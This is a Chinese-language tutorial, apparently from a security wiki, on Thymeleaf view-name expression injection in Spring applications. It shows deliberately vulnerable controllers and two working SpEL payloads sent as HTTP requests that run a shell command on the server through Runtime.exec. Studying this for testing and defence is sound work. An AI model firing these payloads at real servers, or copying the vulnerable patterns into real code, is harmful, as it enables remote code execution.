Spring视图操作

视图概述

考虑一个使用Thymeleaf作为其模板引擎的简单Spring应用程序:

@Controller
public class HelloController {

    @GetMapping("/")
    public String index(Model model) {
        model.addAttribute("message", "happy birthday");
        return "welcome";
    }
}

index方法将为根URL / 的每个GET请求调用。它没有参数并返回静态字符串welcome。Spring将welcome解释为View的名称,并尝试找到位于应用程序资源中的resources/templates/welcome.html文件。如果Spring找到它,将从模板文件渲染视图并返回给用户。

不受信任的Thymeleaf视图名称

如果使用Thymeleaf视图引擎(Spring中最流行的),模板可能如下所示:

<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
    <h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
    <span th:text="'Hello, ' + ${message}"></span>
</div>
</html>

Thymeleaf引擎支持文件布局,允许您通过使用<div th:fragment="main">在模板中指定片段,然后仅从视图中请求此片段:

@GetMapping("/main")
public String fragment() {
    return "welcome :: main";
}

Thymeleaf足够智能,只从welcome视图返回主要的div,而不是整个文档。

在从文件系统加载模板之前,Spring ThymeleafView类将模板名称解析为表达式:

try {
   // 通过将其解析为标准表达式,我们可以从表达式缓存中获益
   fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
}

因此,如果模板名称或片段与不受信任的数据连接,它可能导致表达式语言注入,从而导致RCE。

例如,以下方法容易受到表达式语言注入攻击:

@GetMapping("/path")
public String path(@RequestParam String lang) {
    // 潜在的路径遍历,但限于'templates'文件夹
    return "user/" + lang + "/welcome";
}

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section;
}

以下请求在服务器上创建executed文件:

GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::.x HTTP/1.1
Host: vulnerable-website.com

此漏洞利用使用表达式预处理。为了使表达式被Thymeleaf执行,无论前缀或后缀是什么,都需要用__${}__::.x包围它。

不受信任的隐式视图名称

控制器并不总是返回明确告诉Spring使用什么视图名称的字符串。如文档中所述,对于某些返回类型,如voidjava.util.Maporg.springframework.ui.Model,视图名称通过RequestToViewNameTranslator隐式确定。

这意味着乍一看这样的控制器可能看起来完全无害,它几乎什么都不做,但由于Spring不知道要使用什么视图名称,它从请求URI中获取

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
}

具体来说,DefaultRequestToViewNameTranslator执行以下操作:

/**
 * 将传入的{@link HttpServletRequest}的请求URI
 * 转换为基于配置参数的视图名称。
 * @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest
 * @see #transformPath
 */
@Override
public String getViewName(HttpServletRequest request) {
    String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
    return (this.prefix + transformPath(lookupPath) + this.suffix);
}

所以,它变得易受攻击,因为用户控制的数据(URI)直接进入视图名称并被解析为表达式:

GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x HTTP/1.1
Host: vulnerable-website.com

参考

最后更新于